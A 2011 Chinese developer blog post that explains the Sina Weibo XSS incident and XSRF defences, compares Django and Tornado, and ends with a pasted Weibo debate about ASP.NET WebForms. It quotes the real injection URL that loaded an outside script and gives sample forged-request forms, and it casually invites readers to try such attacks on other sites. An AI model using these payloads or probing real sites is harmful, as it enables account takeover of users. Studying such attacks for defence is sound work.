昨晚(2011/06/28)新浪微博也出现“黑客”攻击蛮有代表性;网站上流行的XSS( Cross-Site-Script) / XSRF ( Cross-site request forgery ) 往往是被web开发者忽视的,这里记述一下相关的事情。
先说新浪微博。
昨天的攻击情况介绍可以参考:
* http://soft.yesky.com/security/156/30179156.shtml
昨晚的攻击漏洞根源其实很傻,被用于攻击的URL(当然这个URL现在不工作了)是:
* http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update
很显然,/pub/star/g/ 后面的字符串会被新浪内部write过,变成类似:
* http://weibo.com/pub/star.php?g=xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update
的玩意,然后star.php竟然会把querystring中g的值直接显示到页面中,相当于 weibo.com 在自己的页面中嵌入了一个来自于 2kt.cn的js脚本。
这种是相当低级的注入攻击,有做web开发经验的同学都应该懂;应该说,新浪微博遭遇的这次攻击的根源还跟XSS / XSRF 这些“高级”玩意完全没有关系。
weibo.com的页面被嵌入第三方js之后,这个js做的就是 XSRF去完成各种发推/关注/私信的操作,但从安全的角度看,这些我认为已经不重要了,这次的攻击根源仅是最低级的页面注入。
要避免这样的问题,在页面模板中,所有的变量输出,默认都应该做 HTML encode:
<%=Request.QueryString["qry"] %>
默认就应该对输出的值做html encode,相当于:
<%=HttpUtil.HtmlEncode(Request.QueryString["qry"]) %>
目前新web框架的模板引擎基本默认都会对变量页面输出做html encode;这样注入的问题都会被避免。
以Razor为例:
<div>
@Model.UserName
</div>
默认相当于:
<div>
<%=UttpUtil.HtmlEncode(Model.UserName) %>
</div>
至于连模板都没有用,直接拼接字符串输出html的做法,就彻底无语了。
====== XSRF / XSS ======
这样的攻击方式才相对“新颖”一些。
===== HTTP Get =====
假设网站存在可能导致用户数据改变的接口,如:
* http://dummydomain.com/update_nick.aspx?nick=Stupid
那么,第三方网站可以直接将上述URL作为一个img标签的src,使得用户在访问的时候自动去获取此页面,造成昵称被改。
这里的问题根源是接口定义违反了HTTP的推荐设计。
一切HTTP Get操作,都不应该涉及用户数据的修改;必须强制使用为POST,以避免数据被无意/恶意修改。
===== HTTP Post =====
假设修改昵称的接口变成:
* http://dummydomain.com/update_nick.aspx
用户必须通过form提交才可能可以修改数据,比方说:
<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="text" name="nick" value="" />
<input type="submit" />
</form>
</code>
这样的设计实际上也还是会有问题的,比方说,攻击者可以在 http://attackerdomain.com/clickme.html 里面写:
<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="hidden" name="nick" value="Stupid" />
<input type="submit" value="Click Me!!" />
</form>
</code>
用户在访问 attackerdomain.com 的时候,便有可能被误导去点击,然后造成自己在 dummydomain.com 的数据被修改。
在这样的场景下,无论接口是Get还是Post,都无济于事;这类攻击是被称为 XSRF: Cross-site request forgery。
===== XSRF =====
相比起页面注入,Web开发者对于XSRF的认识还不够;但它也是可以防范的。
首先,要确保所有的涉及数据更新的操作都是经过HTTP Post。
然后,服务器端强制要求所有 HTTP Post都必须包含一个 _XSRF 的参数;其值必须跟Cookie中的同名Cookie相同,比方说:
<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="hidden" name="_XSRF" value="secret_value" />
<input type="text" name="nick" value="" />
<input type="submit" />
</form>
</code>
当攻击者企图从 http://attackerdomain.com/clickme.html 页面提交资料去 http://dummydomain.com/update_nick.aspx 时,浏览器发送的是 dummydomain的 cookie;而这个cookie的值,是attacherdomain.com所无法获得的,也就是说,它无法伪造:
<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="hidden" name="_XSRF" value="Attacher can't know this value!" />
<input type="hidden" name="nick" value="Stupid" />
<input type="submit" value="Click Me!!" />
</form>
</code>
有安全意识,或者说,先进的web框架( Django / Tornado / RoR 等等 ),默认都强制要求POST提交必须有 XSRF 检查。
微软的技术,基本都是跟在别人后面的,目前似乎还是的开发者手动去处理,asp.net MVC 可以参考:
* http://weblogs.asp.net/srkirkland/archive/2010/04/14/guarding-against-csrf-attacks-in-asp-net-mvc2.aspx
如果asp.net开发者没有安全意识,专门去给所有页面添加XSRF的检查,那么做出来的网站,都可能受到 XSRF 攻击。
大家有兴趣的话可以去挑各种asp.net开发的网站去试;或者说,想想自己做过的网站是否会受到此种攻击。
:)
====== Web 安全的根基 ======
Cookie / Same origin policy(简单的说,就是防止AJAX跨域)是 Web安全的根源。
而这两点,是由客户端浏览器所保证的,如果客户端实现得不好,域名A可以访问域名B的cookie值,或者说发起AJAX调用,那么所有服务器端的安全措施都是白搭。
Cookie在HTTP中是明文传输的,是可能会被中间人窃取然后伪造的;而cookie又是Web用户认证信息的根源,一旦Cookie泄露,攻击方就可以为所欲为。
所以,很多网站(比方说, twitter / gmail)默认都在强制把所有的页面传输转移去 HTTPS;以杜绝中间人的问题。
千里之堤,溃于蚁穴;根基不牢靠,上层所做的任何安全措施,都可能被攻破。
这里的关键,是要有一个可靠的根基,跟Web技术没有直接关系,Native程序也会有同样性质的问题。
在各种语言平台中,python涌现的web框架恐怕是最多的;猜想原因应该是在py中构造框架十分简单,使得轮子不断被发明。
这里记述一下我了解过的两个py web框架,供大家参考,希望能起他山之石的作用。
====== Django ======
Django 应该是最出名的py框架,Google App Engine甚至Erlang都有框架受它影响。
Django是走大而全的方向,它最出名的是其全自动化的管理后台:只需要使用起ORM,做简单的对象定义,它就能自动生成数据库结构、以及全功能的管理后台。
Django提供的方便,也意味着Django内置的ORM跟框架内的其他模块耦合程度高。
应用程序必须使用Django内置的ORM,否则就不能享受到框架内提供的种种基于其ORM的便利;理论上可以切换掉其ORM模块,但这就相当于要把装修完毕的房子拆除重新装修,倒不如一开始就去毛胚房做全新的装修。
Django的卖点是超高的开发效率,其性能扩展有限;采用Django的项目,在流量达到一定规模后,都需要对其进行重构,才能满足性能的要求。
这方面的经验可以参考:http://www.slideshare.net/zeeg/djangocon-2010-scaling-disqus
Ruby的Rails也有类似的问题;以Twitter为例,推特到了今日的规模,不要说Rails,甚至是连Ruby都需要抛弃重来。
就我的感觉Django适用的是中小型的网站,或者是作为大型网站快速实现产品雏形的工具。
快速推出产品是王道:
Believe it or not, the bigger problem isn't scaling, it's getting to the point where you have to scale. Without the first problem you won't have the second. - http://gettingreal.37signals.com/ch04_Scale_Later.php
===== Django 模板 =====
Django的模板系统设计十分有意思,也应该其框架内影响最大、争议最大的部分。
Django模板的设计哲学是彻底的将代码、样式分离;asp.net提倡将代码/模板分离,但技术上还是可以混合;而Django则是从根本上杜绝在模板中进行编码、处理数据的可能。
比方说,asp.net模板中可以写:
<%
int i;
for(i==0;i<10;i++){
....
}
%>
Django是彻底不支持嵌入类似上面的代码,仅能使用其模板内置的函数;这实际上,是为其模板构造了一种“新语言”;由于此“新语言”十分简单,所以也能够将其模板移植到不同平台。
大多数情况下,Django的模板功能是足够的,但对于特殊(有时“特殊”也不是十分特殊)的情况,还是需要在模板中嵌入代码,那么就需要根据其模板系统的规则做模板扩展。有时候,模板中直接写一行代码能够解决的问题,用模板扩展实现后,会变成十几行代码。
是否容忍在模板中编程,正是Django模板争议最大之处。
====== Tornado ======
Tornado( http://www.tornadoweb.org )是Facebook开源出来的框架,其哲学跟Django近乎两个极端。
Tornado走的是少而精的方向,它也有提供模板功能;虽然不鼓励,但作者是可以允许在模板进行少量编码(直接嵌入单行py代码)的。
如果跟asp.net相比,Tornado有点类似仅实现了AsyncHttpHandler;除此之外,全部需要自己去实现。
好吧,其实它有模板,有国际化支持,甚至还有内置的OAuth/OpenID模块,方便做第三方登录,它其实也直接实现了Http服务器。
但它没有ORM(仅有一个mysql的超简单封装),甚至没有Session支持,更不要说Django那样自动化的后台。
假设是一个大型网站,在高性能的要求下,框架的各个部分往往都需要定制,可以复用的模块非常少;一个以Django开发的网站,各部分经过不断的定制,Django框架剩下的,很有可能也就是tornado一开始所能提供的这部分。
殊途同归。
===== HTTP服务器 =====
Tornado为了高效实现Comet/后端异步调用HTTP接口,是直接内嵌了HTTP服务器。
前端无需加apache / lighttpd / nginx等也可以供浏览器访问;但它并没有完整实现HTTP 1.1的协议,所以官方文档是推荐用户在生产环境下在前端使用nginx,后端反向代理到多个Tornado实例。
Tornado本身是单线程的异步网络程序,它默认启动时,会根据CPU数量运行多个实例;充分利用CPU多核的优势。
===== 单线程异步 =====
网站基本都会有数据库操作,而Tornado是单线程的,这意味着如果数据库查询返回过慢,整个服务器响应会被堵塞。
数据库查询,实质上也是远程的网络调用;理想情况下,是将这些操作也封装成为异步的;但Tornado对此并**没有**提供任何支持。
这是Tornado的**设计**,而不是缺陷。
一个系统,要满足高流量;是必须解决数据库查询速度问题的!
数据库若存在查询性能问题,整个系统无论如何优化,数据库都会是瓶颈,拖慢整个系统!
异步并**不能**从本质上提到系统的性能;它仅仅是避免多余的网络响应等待,以及切换线程的CPU耗费。
如果数据库查询响应太慢,需要解决的是数据库的性能问题;而不是调用数据库的前端Web应用。
对于实时返回的数据查询,理想情况下需要确保所有数据都在内存中,数据库硬盘IO应该为0;这样的查询才能足够快;而如果数据库查询足够快,那么前端web应用也就无将数据查询封装为异步的必要。
就算是使用协程,异步程序对于同步程序始终还是会提高复杂性;需要衡量的是处理这些额外复杂性是否值得。
如果后端有查询实在是太慢,无法绕过,Tornaod的建议是将这些查询在后端封装独立封装成为HTTP接口,然后使用Tornado内置的异步HTTP客户端进行调用。
技术人员在选择技术方向投入时,看清楚一种技术能够取得的成长非常重要。
====== 使用抽象 ======
微软的技术中有很多好东西,但是它也有大量为了吸引初级程序员而推出的技术,这类技术的本质就是做高层次封装,让特定场景的开发变得极其“简单”/“快速”。
学习类似这样技术的时候,必须保持清醒,明确了解这些技术实际上仅是在做“抽象”/“封装”,把更多注意力放在它们如何做封装的,封装背后的真正技术是什么上。
如果仅仅是去了解怎么用这些封装,用来“搞定”项目就算数,以这样的态度做技术,则很难会有进步;也特别容易被淘汰。因为学习的,仅仅是别人封装(而且是很高层次的封装)过的东西;而封装的方式时刻都在变,这也就是所谓的“技术更新很快”。
WebForm / WinForm / AJAX.Net等都是如此。在学使用别人封装过的东西时,如果没有学到一些相对“本质”的东西,“知识”的有效性/价值是非常低的。
做技术,需要掌握的是更加“本质”的东西,修炼“内力”;在摆好招式,耍好眼前的刀的**前提**下。
====== 提供抽象 ======
而具体在开发上,我们一直需要面临的是如何做“重构”,做封装,做抽象。
小到一个功能,一个函数,要做怎样的封装,要保留怎样的接口;都是可以琢磨的。
怎么琢磨,怎么做才更好?就我个人的经验,不是在做之前去做深入思考;而是快速的去实现一个感觉可行的版本,然后根据实践结果,做反复/多次的修改。
快速的实现,反复的修改。
一个底层库要怎么设计,先根据现在的能力出一个版本,让大家去用,让自己去用,根据反馈,根据自身体验,**持续**的出新版本。
这里最重要的是后者,持续的改进;如果快速实现了一个烂烂的版本,不再改进,那还不如不要实现。
反复的根据回馈精益求精的做修改,不能“一次搞定”,表面上看很浪费时间,但却是学习提高的最快方式。
更加准确的说,是技术人员在实际工作中提高的最快方式;如果是学生,慢慢的去看书,读大师的著作,那是理想。
原文网址: http://weibo.com/1560442584/eBP3YXO0OOi#a_comment
Wuvist:以面向对象的方式去做桌面APP,完全没有问题;但web环境下,BS是分离的,HTTP是无状态的短链接,必须要有ViewState这样的玩意去伪装;而它们必然造成性能低下;再加上Law of Leaky Abstractions,这些使得webform造成很多不必要的问题。到头来还不如直接去手写HTML。(今天 15:09)
赵姐夫:谁说有ViewState必然造成性能低下的啊,乱用当然性能低下了。(今天 15:14)
Wuvist:开ViewState,页面至少多几个字符,对性能就是有影响;而对于高流量网站,这种少几个字符的优化也是很现实的考量;但这点不重要,咱无需纠结字眼;关键在于webform的抽象非常"leaky"。(今天 15:24)
Wuvist:http://t.cn/htDPPb 一年十万;举个简单例子,无法快速响应用户的鼠标操作,比方说,滚动/快速点击;这些必须在客户端直接写javascript才可以实现快速的体验;点个button,背景换个颜色,用服务器端callback函数去做,会慢死;这就是leak。(今天 15:34)
赵姐夫:taobao这样流量的网站,去年QCon分享时说了,这方面优化好以后,大概一年省了几百块,嗯嗯。至于非常leaky,期待详谈。(今天 15:26)
Wuvist:OO的设计模型不是问题;问题在于非常leaky的OO抽象。回过去头去看ExtJ的OO抽象,它是纯客户端的,不需要跨越BS的鸿沟,效果就好很多。带宽有限,用webform的抽象带来的性能问题太杯具,因而产生了无数“正确使用webform”的知识经验。何苦呢?(59分钟前)
赵姐夫:我也用WebForm写过n多程序了,从不觉得有什么性能问题是WebForm引起的。事实上叫的最响的人是要么不用要么不懂的人。至于Best Practice,好像MVC啊,PHP,Rails都没有一样……(51分钟前)
赵姐夫:两个是一回事情么?再看看清楚文章吧。我看出来了,你说WebForm不好,是因为它没有解决所有问题,但它从来没说自己解决了所有问题。本来用WebForm就没说就不能或是不该用JS了,用JS配合WebForm怎么就变成恶心的事情了。(48分钟前)
Wuvist:文章我想我看得很清楚,这方面我想我们理解是一致的,就不扯了;js配合webform确实很恶心,能用好js,对HTML低层有了解;webform能解决的问题,不用它也可以解决得很好;为什么要用它呢?为什么要投入时间去学专门解决webform问题的best practice呢?(37分钟前)
赵姐夫:我没学过专门为了解决webform问题的best practice,我只是了解HTML,JS,然后用WebForm加快我的开发效率而已。(28分钟前)
Wuvist:这是您的个案,而且是否enable viewstat,这算是webform特有的问题么?大多数人走的是webform => html/js的弯路,webform诞生之初的目的,就在于把html/js抽象掉,让desktop developer以desktop的方式去搞web,造就无数杯具,这点,我又是否说错呢?(22分钟前)
赵姐夫:错了,我从没觉得WebForms是为了摆脱HTML,JS。不知道谁把这要求加到WebForm身上的,然后从一个理想主义者掉到一个虚无主义者而已。至于enable viewstate,哪个类库框架没个这种配置的?(18分钟前)
Wuvist: http://t.cn/aKAHN1 A rich set of server-side controls that can detect the browser and send out appropriate markup language such as HTML(14分钟前)
赵姐夫:所以你的理解是,WebForm的目的是完全摆脱HTML和JS?好吧,你和我的理解的确是完全不同的。(12分钟前)
Wuvist:那您是怎么理解微软在01年说的这六点“The Purpose of Web Forms”呢?(6分钟前)
赵姐夫:提出一种提高开发效率的模型啊。(4分钟前)
Wuvist:我觉得我们刚刚这串讨论蛮有意思的,我整理发成blog可好?(5分钟前)
赵姐夫:我没有意见,呵呵。(4分钟前)